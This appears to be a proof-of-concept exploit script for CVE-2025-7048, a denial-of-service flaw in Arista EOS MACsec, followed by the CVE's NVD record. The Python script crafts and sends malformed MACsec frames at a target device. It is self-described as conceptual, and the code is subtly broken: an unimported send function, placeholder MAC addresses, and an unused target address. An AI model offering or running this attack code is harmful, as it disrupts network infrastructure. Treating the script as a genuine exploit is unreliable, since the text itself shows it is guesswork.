CVE-2025-7048

# CVE-2025-7048 PoC - Arista EOS MACsec DoS # This PoC demonstrates sending a crafted packet to trigger MACsec process termination # Note: Use only for authorized security testing from scapy.all import Ether, IP, Raw import socket def create_crafted_macsec_packet(): """ Create a specially crafted packet to trigger MACsec process termination This is a conceptual PoC - actual packet structure may vary """ # Construct Ethernet frame with MACsec EtherType # Common MACsec EtherTypes: 0x88E5 (IEEE 802.1AE) packet = Ether(dst="00:1c:73:xx:xx:xx", src="00:1c:73:yy:yy:yy", type=0x88E5) # Add malformed MACsec Secure Channel identifier # This may trigger the vulnerability in MACsec process packet = packet / Raw(load=b"\x00" * 32 + b"\xFF" * 16) return packet def send_crafted_packet(target_ip, interface="eth0"): """ Send the crafted packet to target device """ packet = create_crafted_macsec_packet() print(f"[*] Sending crafted MACsec packet to {target_ip}") sendp(packet, iface=interface, verbose=1) print("[*] Packet sent - check if MACsec process is affected") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve_2025_7048_poc.py <target_ip> [interface]") sys.exit(1) target = sys.argv[1] iface = sys.argv[2] if len(sys.argv) > 2 else "eth0" send_crafted_packet(target, iface)

{"cve": {"id": "CVE-2025-7048", "sourceIdentifier": "[email protected]", "published": "2026-01-06T20:16:01.253", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "On affected platforms running Arista EOS with MACsec configuration, a specially crafted packet can cause the MACsec process to terminate unexpectedly. Continuous receipt of these packets with certain MACsec configurations can cause longer term disruption of dataplane traffic."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-805"}]}], "references": [{"url": "https://www.arista.com/en/support/advisories-notices/security-advisory/23120-security-advisory-0132", "source": "[email protected]"}]}}